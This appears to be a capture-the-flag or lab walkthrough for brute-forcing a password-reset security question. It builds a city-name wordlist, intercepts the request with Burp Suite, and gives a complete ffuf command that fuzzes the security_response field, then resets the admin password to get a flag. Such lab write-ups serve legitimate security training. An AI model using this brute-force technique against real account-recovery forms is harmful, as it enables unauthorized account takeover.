Vulnerable Password Reset

Which city is the admin user from?

This assessment has a web application with a password reset function that has a security question. In order to try to get the password, we'll try to use a wordlist containing city names.

Step 1 - Get the wordlist:

• Download the full CSV wordlist

• Reduce the wordlist to contain only city names

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    cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt

Step 2 - Intercept the Security Question POST Request:

• Use Burp Suite to intercept the Request

Step 3 - Brute-force the Security Question:

• With the POST Request information build the following ffuf command:

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    ffuf -w ./city_wordlist.txt -u http://SERVER_IP:SERVER_PORT/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=PHP_SESSION_ID" -d "security_response=FUZZ" -fr "Incorrect response."
    

Reset the admin user's password on the target system to obtain the flag.

Step 1 - Use the city discovered to answer the first question to reset the admin's password

Step 2 - Change the password

Step 3 - Login with the new credentials to get the flag!